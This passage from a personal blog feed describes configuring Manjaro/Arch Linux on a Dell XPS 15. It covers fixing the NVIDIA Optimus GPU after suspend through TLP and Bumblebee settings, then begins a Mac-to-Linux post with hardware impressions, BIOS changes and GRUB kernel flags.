extra/linux410-acpi_call 1.1.0-0.7 (linux410-extramodules) [installed]
extra/linux410-bbswitch 0.8-0.7 (linux410-extramodules) [installed]
extra/linux410-ndiswrapper 1.61-0.7 (linux410-extramodules) [installed]
extra/linux410-nvidia 1:375.39-0.7 (linux410-extramodules) [installed]</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And to make sure everything is ok, I removed the old 4.9 related packages:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo pacman -R linux49 linux49-headers linux49-acpi_call linux49-bbswitch linux49-ndiswrapper linux49-nvidia</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>I also upgraded the system BIOS to the <a href="http://dell.to/2mWmWDg"target="_blank" rel="noopener">latest 1.2.19</a> (although many said to stay at 1.2.18 for now, but I didn&rsquo;t downgrade). The BIOS upgrade is quite easy as you just need to have a FAT formatted USB drive and copy the &ldquo;XPS_9550_1.2.19.exe&rdquo; file. On boot, you can press F12 and choose the option to upgrade directly from there.</p>
<p>One thing that stopped working was the function keys to control screen brightness. I wasn&rsquo;t able to tweak it back but I can still control the brightness manually from the Terminal using commands like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>xbacklight -inc 20 # to increment
xbacklight -dec 20 # to decrement</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Then, the most annoying part: the NVIDIA Optimus card.</p>
<p>Suspending the OS works flawlessly most of the time. I can just close the lid, open it the next day and the battery stays reasonably at the same level. Kudos to the kernel team for supporting it.</p>
<p>But the power management system turns off the NVIDIA GPU and I can&rsquo;t re-enable it after the machine wakes up, even if I reconnect to a power source. Whenever I try to run something through <code>optirun</code> (which forces the rendering through the NVIDIA GPU instead of the primary integrated Intel GPU) it errors out with this message:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>Could not enable discrete graphics card</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>And the only way to have it running was to connect the power cord and reboot the machine. Then I could use the NVIDIA GPU normally. Rebooting all the time is not slow (thanks to the fast SSD) but it&rsquo;s still annoying to have to reopen every single application every time.</p>
<p>Finally, after a lot of research, I found out how to be able to have the NVIDIA GPU enabled even on battery and after suspend. First, you need to know the PCI ID for the card:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>$ lspci | grep &#34;NVIDIA&#34; | cut -b -8
01:00.0</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Then you need to edit <code>/etc/default/tlp</code> and add that PCI ID to be blacklisted from power management:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code># Exclude PCI(e) device addresses the following list from Runtime PM
# (separate with spaces). Use lspci to get the addresses (1st column).
#RUNTIME_PM_BLACKLIST=&#34;bb:dd.f 11:22.3 44:55.6&#34;
RUNTIME_PM_BLACKLIST=&#34;01:00.0&#34;</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Reboot, and this is it! Now I can run applications through the NVIDIA card even without being connected to the power cord.</p>
<p>It seems that <a href="https://github.com/linrunner/TLP/issues/244"target="_blank" rel="noopener">there is a conflict</a> between TLP and Bumblebee. The solution was listed in <a href="https://www.reddit.com/r/archlinux/comments/5m78zz/bumblebee_nvidia_error_on_optimus_laptop/"target="_blank" rel="noopener">this 2 months old reddit thread</a> and <a href="https://forum.manjaro.org/t/bumblebee-could-not-enable-discrete-graphics-card/16728/12"target="_blank" rel="noopener">this 2 weeks old Manjaro forum thread</a> if you&rsquo;re interested in the discussion around it.</p>
<p>The most difficult part on using NVIDIA on Linux is understanding all the many terminologies around it. I&rsquo;m not even sure that I got it all already.</p>
<p>This is what I figured out so far:</p>
<ul>
<li><a href="https://wiki.archlinux.org/index.php/NVIDIA_Optimus"target="_blank" rel="noopener">Optimus</a> is the hybrid graphics card technology, which enables a low power Intel GPU as the primary card that you can bridge to the secondary, power demanding, NVIDIA GPU, just when you really need it.</li>
<li><code>optirun</code> is the command you use to make this bridge.</li>
<li>&ldquo;NVIDIA&rdquo; is what we call the official proprietary binaries. On Arch it&rsquo;s available on package &ldquo;linux410-nvidia&rdquo;.</li>
<li>&ldquo;Nouveau&rdquo; is the open source driver, it uses Primus to make the bridge instead of <code>optirun</code>. I understand that you should avoid this driver for now if you need full performance and full compliance from the GPU.</li>
<li><a href="https://wiki.archlinux.org/index.php/Bumblebee#Power_management"target="_blank" rel="noopener">&ldquo;Bumblebee&rdquo;</a> is a daemon used to enable and disable the NVIDIA GPU. You don&rsquo;t want it enabled all the time, especially when running on battery, to avoid draining it too fast.</li>
<li><a href="https://github.com/Bumblebee-Project/bbswitch"target="_blank" rel="noopener">&ldquo;bbswitch&rdquo;</a> is the kernel module that does the low level ACPI calls to control the power state of the NVIDIA GPU card.</li>
<li><a href="https://github.com/linrunner/TLP"target="_blank" rel="noopener">&ldquo;TLP&rdquo;</a> is the general Linux power management system, which controls every aspect of the machine&rsquo;s hardware, including the PCI devices (one of which is the NVIDIA card).</li>
</ul>
<p>The way I understand it, you don&rsquo;t want TLP to kick in and shut off the card, because if it does, then Bumblebee can&rsquo;t enable it back on when needed (through bbswitch). So you have to blacklist its PCI device on TLP and let Bumblebee do its job.</p>
<p>If everything is working fine, then the NVIDIA GPU is turned off by default. You can check that it is off through bbswitch:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>$ cat /proc/acpi/bbswitch
0000:01:00.0 OFF</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>Now, let&rsquo;s say you want to force something to use the card, so you do it like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>$ optirun -vv glxgears
[ 1817.200384] [DEBUG]Reading file: /etc/bumblebee/bumblebee.conf
[ 1817.200519] [INFO]Configured driver: nvidia
[ 1817.200579] [DEBUG]optirun version 3.2.1-2017-02-27-Format:%h$ starting...
[ 1817.200584] [DEBUG]Active configuration:
[ 1817.200588] [DEBUG] bumblebeed config file: /etc/bumblebee/bumblebee.conf
[ 1817.200592] [DEBUG] X display: :8
[ 1817.200595] [DEBUG] LD_LIBRARY_PATH: /usr/lib/nvidia:/usr/lib32/nvidia
[ 1817.200599] [DEBUG] Socket path: /var/run/bumblebee.socket
[ 1817.200603] [DEBUG] Accel/display bridge: auto
[ 1817.200607] [DEBUG] VGL Compression: proxy
[ 1817.200611] [DEBUG] VGLrun extra options: 
[ 1817.200615] [DEBUG] Primus LD Path: /usr/lib/primus:/usr/lib32/primus
[ 1817.200645] [DEBUG]Using auto-detected bridge virtualgl
[ 1818.163747] [INFO]Response: Yes. X is active.

[ 1818.163757] [INFO]Running application using virtualgl.
[ 1818.163843] [DEBUG]Process vglrun started, PID 9770.
10419 frames in 5.0 seconds = 2083.766 FPS
10671 frames in 5.0 seconds = 2134.041 FPS</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>This will run <code>glxgears</code> (a simple app to test the card) through the Optimus bridge (in verbose mode, which is why you have all this extra information). And if <code>glxgears</code> was able to use the NVIDIA GPU it should report FPS (frames per second) higher than 1,000.</p>
<p>And you can check with <code>bbswitch</code> like this:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>$ cat /proc/acpi/bbswitch
0000:01:00.0 ON</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>When you <code>Ctrl-C</code> out of <code>glxgears</code> it should report as <code>OFF</code> again.</p>
<p>Just to make sure, it&rsquo;s important to guarantee that <code>/etc/bumblebee/bumblebee.conf</code> is customized like this (only important keys are shown below):</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>[bumblebeed]
Driver=nvidia
...
[optirun]
Bridge=auto
...
[driver-nvidia]
KernelDriver=nvidia
PMMethod=bbswitch
...</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>So far, the only small issues I still have are these:</p>
<ul>
<li>Function keys don&rsquo;t change screen brightness</li>
<li>Bose bluetooth headset connects flawlessly but won&rsquo;t become primary sound output without manually changing to it under the Sound settings (but hardware function keys for volume and media control all work without problems).</li>
<li>I had to install Manjaro using the old BIOS boot and MBR partition scheme instead of GPT over UEFI. Not sure how to move to GPT/UEFI now (using a LUKS encrypted partition scheme)</li>
</ul>
<p>But after fixing the NVIDIA GPU after a suspend or power disconnect, the other issues are just very minor annoyances.</p>
<p>So far, I am very happy to be using Manjaro over the Dell XPS. I am using a dual monitor setup, and everything is working quite smoothly. If you want to try it out, I recommend you stick to the 9560 (mid 2016 version) Sandy Bridge version, do not go to the new Kaby Lake versions yet as you will find buggy BIOS firmware and many aspects of the hardware won&rsquo;t be properly supported or documented yet.</p>
<p>And if you&rsquo;re new to Arch, I highly recommend you start with Manjaro GNOME. It&rsquo;s by far the best and most usable Linux desktop I&rsquo;ve tried.</p>
]]></content:encoded><category>linux</category><category>hardware</category></item><item><title>From the Macbook Pro to the Dell XPS. Arch Linux for Creative Pro Users</title><link>https://akitaonrails.github.io/en/2017/01/31/from-the-macbook-pro-to-the-dell-xps-arch-linux-for-creative-pro-users/</link><guid isPermaLink="true">https://akitaonrails.github.io/en/2017/01/31/from-the-macbook-pro-to-the-dell-xps-arch-linux-for-creative-pro-users/</guid><pubDate>Tue, 31 Jan 2017 18:26:00 -0200</pubDate><description>&lt;p&gt;As I&amp;rsquo;ve been reporting in previous posts, I&amp;rsquo;m switching to Linux full-time. Here I&amp;rsquo;d like to show how to configure Arch Linux so it&amp;rsquo;s suitable for Creative &lt;strong&gt;Pro&lt;/strong&gt; Users, where access to the secondary GPU is very important.&lt;/p&gt;
&lt;p&gt;If you&amp;rsquo;re a Creative Pro User, you can&amp;rsquo;t really run Final Cut Pro X (with Motion, Compressor), Logic Pro, Adobe&amp;rsquo;s Photoshop and other apps. So you will have to change your workflow if you want to be in the Linux ecosystem. Fortunately, for many workflows Linux apps have matured quite nicely and you don&amp;rsquo;t need to settle for low quality, &amp;ldquo;hack-ish&amp;rdquo; software.&lt;/p&gt;</description><content:encoded><![CDATA[<p>As I&rsquo;ve been reporting in previous posts, I&rsquo;m switching to Linux full-time. Here I&rsquo;d like to show how to configure Arch Linux so it&rsquo;s suitable for Creative <strong>Pro</strong> Users, where access to the secondary GPU is very important.</p>
<p>If you&rsquo;re a Creative Pro User, you can&rsquo;t really run Final Cut Pro X (with Motion, Compressor), Logic Pro, Adobe&rsquo;s Photoshop and other apps. So you will have to change your workflow if you want to be in the Linux ecosystem. Fortunately, for many workflows Linux apps have matured quite nicely and you don&rsquo;t need to settle for low quality, &ldquo;hack-ish&rdquo; software.</p>
<p>Software developers don&rsquo;t ever need more than the cheap Intel integrated graphics, unless you want to install <a href="https://wiki.archlinux.org/index.php/Steam/Wine"target="_blank" rel="noopener">Steam through Wine</a> to play some demanding games.</p>
<p>After a lot of research (a.k.a. <a href="https://www.youtube.com/results?search_query=Dell&#43;XPS&#43;15&#43;9550&#43;review"target="_blank" rel="noopener">YouTube!</a>) I&rsquo;ve settled for the Dell XPS 15&quot; (9550 model). It&rsquo;s an almost 1-year-old SkyLake architecture using the NVIDIA Optimus Hybrid Intel + GTX960M.</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/612/20170127_133009.jpg" alt="Dell XPS 15&#34; 9550"  loading="lazy" /></p>
<p>To this day, nothing can beat the software+hardware cohesiveness of Apple. This can&rsquo;t be underestimated. The PC/Windows world is a lot better, but it&rsquo;s still plagued with unstable BIOS, unstable drivers, etc. If you&rsquo;re on Linux, it&rsquo;s even worse.</p>
<p>Here&rsquo;s the first <strong>protip</strong>: avoid super brand new models. Most of them won&rsquo;t have stable drivers even for Windows 10, let alone Linux. Let the Windows guys suffer the first couple of months; give Dell, <a href="http://windowsreport.com/nvidia-driver-crash-windows-10/"target="_blank" rel="noopener">NVIDIA</a> and Intel time to fix the mess releasing more stable BIOS firmware and drivers.</p>
<p>If you really want to buy one of the 2017 brand new Kaby Lake models, you&rsquo;re in a Russian roulette situation. Even first generation Macbook models usually <a href="http://www.digitaltrends.com/computing/apple-releases-macos-sierra-10123-update/"target="_blank" rel="noopener">present trouble</a>. As a rule of thumb, do not buy on day 1, wait at the very least 3 months. You are warned.</p>
<p>Out of all the early-2016 machines that most Linux distros can support reasonably well, I believe the <a href="http://www.anandtech.com/show/10116/the-dell-xps-15-9550-review"target="_blank" rel="noopener">Dell XPS</a> series, <a href="http://www.anandtech.com/show/10697/the-lenovo-thinkpad-x1-yoga-review"target="_blank" rel="noopener">Lenovo Thinkpad X1 Yoga</a>, and possibly <a href="http://www.digitaltrends.com/computing/dell-xps-15-vs-asus-zenbook-pro-ux501-battle-of-the-plus-sized-premiums/"target="_blank" rel="noopener">Asus Zenbook Pro</a> and <a href="http://laptopmedia.com/review/hp-probook-450-g3-455-g3-review-what-a-budget-business-notebook-should-look-like/"target="_blank" rel="noopener">HP ProBook</a> are quite good nowadays.</p>
<p>But in most categories, the XPS series is the one to beat. Dell really did a pretty good job this time around.</p>
<p>The keyboard, as with most PCs, is mediocre, plastic-y, a little bit wobbly, with good enough travel but with a sudden hard click without enough resistance. For 99% of the people I believe it&rsquo;s fairly good, but not so much for really fast touch-typists.</p>
<p>The touchpad is one of the best in any PC notebook, but then again, most PC touchpads are shamelessly bad, especially with gestures more complicated than a 2 finger scroll. This is another area where the Mac is still untouched. That said, the Dell one is serviceable and should work well enough, with a few palm-rejection misses that will annoy you now and then.</p>
<p>Display monitor is a different story: the XPS 15&rsquo;s gorgeous 4K IPS display is superb, far surpassing the Macbook&rsquo;s Retina Displays. Samsung PCIe NVMe M.2 SSDs is also the best in its class. The aluminum enclosure is simple but well machined, and the carbon fiber finish is a welcome addition to make a machine that you can really enjoy and be proud to carry around.</p>
<p><img src="https://akitaonrails.s3.amazonaws.com/assets/image_asset/image/613/20170124_211855.jpg" alt="Dell XPS Display"  loading="lazy" /></p>
<p>If you don&rsquo;t want to tinker with the hardware configuration too much, usually the safest bet is installing Ubuntu and even then <a href="http://web.archive.org/web/20160707232552/http://ubuntuforums.org:80/showthread.php?t=2317843"target="_blank" rel="noopener">it&rsquo;s not</a> going to be perfect.</p>
<p>Especially with HiDPI displays (over Full-HD) Linux is still lagging behind. GNOME, KDE kinda support it, but other desktop environments have mixed results, and old applications are still not supporting it as they should. If you&rsquo;re using LTS distros with old packages, you will find a few applications doing HiDPI wrong, like <a href="https://bugs.documentfoundation.org/show_bug.cgi?id=99508"target="_blank" rel="noopener">Libreoffice</a> and <a href="https://community.spotify.com/t5/Desktop-Linux-Windows-Web-Player/Linux-client-barely-usable-on-HiDPI-displays/td-p/1067272"target="_blank" rel="noopener">Spotify</a>.</p>
<p>And if you&rsquo;re like me, using a multi monitor with different DPIs, you&rsquo;re out of luck. Either you&rsquo;re using the notebook with the lid closed (so you only have one external monitor to worry about) or you will have the texts all super small in the HiDPI primary monitor in order to have the correct DPI in the second external monitor.</p>
<p>One fallback is to configure the 4K display to downscale to Full-HD (1080p). And then again, what&rsquo;s the point of having a 4K display if you can&rsquo;t use it properly? So, do not buy the 4K unless you understand this.</p>
<p>Both MacOS and Windows handle this situation far better. And in MacOS I never experienced any HiDPI problem. Not once. Apple was much better pushing a higher standard than the rest of the industry, and this cohesiveness and no need to tinker drivers and configuration is super valuable.</p>
<p>With Macs, you can really just boot and use. With Windows, you&rsquo;re probably mostly ok unless there are driver issues. And with Linux, you must expect a fair amount of tinkering to have the basis covered.</p>
<p>New PC notebooks are also coming with several weird configurations that make sense for Windows, but that make Linux distros struggle a bit. Every time you must start by configuring the BIOS to disable stuff like Secure Boot, changing to AHCI issues, etc. So let&rsquo;s dive right into it.</p>
<h3>BIOS Setup<span class="hx:absolute hx:-mt-20" id="bios-setup"></span>
    <a href="#bios-setup" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>The very first thing you must do is change BIOS settings. F2 your way into the setup when the Dell logo shows up and make the following changes:</p>
<ul>
<li>General - Advanced Boot Options - Enable Legacy Option ROMs</li>
<li>General - Boot Sequence - Legacy (UEFI is the default)</li>
<li>System Configuration - SATA Operation - AHCI (default is RAID On)</li>
<li>System Configuration - Touchscreen (disable, as it&rsquo;s mostly unnecessary and it eats up more battery)</li>
<li>Security - Secure Boot - Secure Boot Enable - Disabled</li>
<li>POST Behavior - Fastboot - Through (default is minimal)</li>
</ul>
<p>By doing these changes, the pre-installed Windows 10 will not boot anymore, so make sure you don&rsquo;t need it before doing this.</p>
<h3>Kernel Tweaks<span class="hx:absolute hx:-mt-20" id="kernel-tweaks"></span>
    <a href="#kernel-tweaks" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>You should follow the <a href="https://wiki.archlinux.org/title/Dell_XPS_15_%289550%29"target="_blank" rel="noopener">Dell XPS (9550) Wiki</a> Page.</p>
<p>The 4K Display may flicker a bit, and to avoid it you must edit Grub configuration file <code>/boot/grub/grub.cfg</code> and append the following line with the specific flags:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>GRUB_CMDLINE_LINUX_DEFAULT=&#34;... i915.edp_vswing=2 i915.preliminary_hw_support=1 intel_idle.max_cstate=1 acpi_backlight=vendor acpi_osi=Linux&#34;</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>That line already exists with some flags, don&rsquo;t erase them, just append the additional configuration and don&rsquo;t forget to run the following:</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo grub-mkconfig -o /boot/grub/grub.cfg</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>For the most part, all the rest will work just fine, but just to be safe I installed the <a href="https://wiki.archlinux.org/index.php/Powertop"target="_blank" rel="noopener">Powertop</a> and acpid packages as well.</p>
<div class="hextra-code-block hx:relative hx:mt-6 hx:first:mt-0 hx:group/code">

<div><pre><code>sudo pacman -S powertop acpid</code></pre></div><div class="hextra-code-copy-btn-container hx:opacity-0 hx:transition hx:group-hover/code:opacity-100 hx:flex hx:gap-1 hx:absolute hx:m-[11px] hx:right-0 hx:top-0">
  <button
    class="hextra-code-copy-btn hx:group/copybtn hx:cursor-pointer hx:transition-all hx:active:opacity-50 hx:bg-primary-700/5 hx:border hx:border-black/5 hx:text-gray-600 hx:hover:text-gray-900 hx:rounded-md hx:p-1.5 hx:dark:bg-primary-300/10 hx:dark:border-white/10 hx:dark:text-gray-400 hx:dark:hover:text-gray-50"
    title="Copy code"
  >
    <div class="hextra-copy-icon hx:group-[.copied]/copybtn:hidden hx:pointer-events-none hx:h-4 hx:w-4"></div>
<div class="hextra-success-icon hx:hidden hx:group-[.copied]/copybtn:block hx:pointer-events-none hx:h-4 hx:w-4"></div>
  </button>
</div>
</div>
<p>I am happy to report that I can close the notebook&rsquo;s lid and the OS will properly suspend. When I open it up it comes back from sleep, saving battery and saving me the trouble of having to reboot every day.</p>
<h3>Arch Distros - Manjaro to the rescue<span class="hx:absolute hx:-mt-20" id="arch-distros---manjaro-to-the-rescue"></span>
    <a href="#arch-distros---manjaro-to-the-rescue" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>I am becoming an Arch enthusiast myself, but to tweak it to work on a modern notebook is just too much work. I don&rsquo;t recommend trying if you&rsquo;re in a hurry. I tried <a href="https://arch-anywhere.org/"target="_blank" rel="noopener">Arch Anywhere</a>, but it can&rsquo;t even go through the disk partitioning stage (it doesn&rsquo;t like the SSD or SATA setup). I tried <a href="http://web.archive.org/web/20170205034235/https://antergos.com/"target="_blank" rel="noopener">Antergos</a> but for some reason Gnome Online Accounts didn&rsquo;t work properly there, even if I try to reinstall it. Finally I settled for <a href="https://manjaro.org/"target="_blank" rel="noopener">Manjaro</a>, which installed and worked without any major issues.</p>
<p>There are several distros based on Arch. Arch Anywhere and Antergos are mostly Arch &ldquo;installers&rdquo; where the main repository sources are still vanilla Arch and they try to make the install process easier than you having to find your way through a bare bone command line shell.</p>
